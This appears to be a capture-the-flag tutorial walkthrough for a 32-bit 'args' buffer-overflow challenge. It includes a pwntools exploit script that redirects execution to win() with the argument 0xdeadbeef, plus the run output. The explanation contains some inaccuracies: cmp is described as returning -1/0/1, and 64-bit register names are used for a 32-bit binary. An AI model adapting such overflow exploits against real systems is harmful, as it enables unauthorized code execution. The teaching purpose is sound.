Now that we've spent some time going over binaries in extreme detail, I am going to omit some of the initial details of the disassembly and focus more on the newer concepts. This binary is strikingly similar to the ret2win.
Checking Security
$ checksec args
[*] '/home/joybuzzer/Documents/vunrotc/public/01-ret2win/args/src/args'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
The most glaring part of this function is the call to cmp, a comparison function. cmp is used in assembly to manage if statements.
The first instruction is cmp, which takes in the two values to compare. This returns a value of 0 if the two values are equal, 1 if the first value is greater than the second, and -1 if the first value is less than the second.
The next instruction is a "jump if" instruction. These are used in tandem with cmp to decide where we go. In this case, the program decides to jump if equal (je). je takes an address: where in the function you want to jump to.
Let's check out the two routes:
If the first value (DWORD PTR [rbp+0x8]) is equal to 0xdeadbeef, then we move to win+48. If we follow win+48, we see that this reaches system.
If DWORD PTR [rbp+0x8] is not equal, it will continue instructions. However, there is a jmp call, which is going to jump to win+68, which skips the system call.
What is DWORD PTR [rbp+0x8]? Let's think about it in terms of the stack. The stack frame is going to be located at rbp. After rbp is going to be the return pointer, as we saw in our stack frame from earlier:
|-- rsp
v
[... | ... buffer for function ... | base pointer | return pointer | ... ]
That means that at rbp+0x8 holds the last thing pushed to the stack before the win() function was called. This is the (first) parameter that's passed to the function. Subsequent items on the stack would serve as the following parameters.
This tells us that we need to pass the parameter 0xdeadbeef to the win() function. Since this is 32-bit, let's just pass it right after the return pointer!
from pwn import*proc =process('./args')cmp =0xdeadbeeff_win =0x080491a6payload =b'A'*0x34payload +=p32(f_win)payload +=p32(cmp)proc.sendline(payload)proc.interactive()
We pass cmp through p32() for two reasons: (1) we need it to be little-endian, and (2) we need it to be the entire parameter size.
Running this yields doesn't work!
[+] Starting local process './args': pid 5882
[*] Switching to interactive mode
Good luck winning here!
You lose!
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './args' stopped with exit code -11 (SIGSEGV) (pid 5882)
What went wrong? If we do some digging, we'll find that You lose! gets printed whenever we don't match the correct argument:
We're off by one chunk? Why is that? Since we're jumping to win() by changing the value of the return pointer, rather than going there via call win, a return pointer is never pushed on the stack. However, since the code doesn't expect us to do this, it treats the stack as if there still is one.
In our code, 0xdeadbeef is actually serving as the return pointer for win(). If you continue execution, you'll notice you end up at this address:
[#0] Id 1, Name: "args", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
This is an easy fix. All we need to do is allocate space for a return pointer in our payload. Since it doesn't matter to us what it is, because we'll have already gotten our data by the time it's ever reached, we can just use 0x0:
exploit.py
from pwn import*proc =process('./args')cmp =0xdeadbeeff_win =0x080491a6payload =b'A'*0x34payload +=p32(f_win)payload +=p32(0x0)payload +=p32(cmp)proc.sendline(payload)proc.interactive()
(You could use something like main ensuring that the program doesn't crash, but it's unnecessary.)
Running this works!
[+] Starting local process './args': pid 6081
[*] Switching to interactive mode
Good luck winning here!
cat: flag.txt: No such file or directory
[*] Got EOF while reading in interactive
$
[*] Process './args' stopped with exit code -11 (SIGSEGV) (pid 6081)
[*] Got EOF while sending in interactive
Running this on the remote server will get your flag!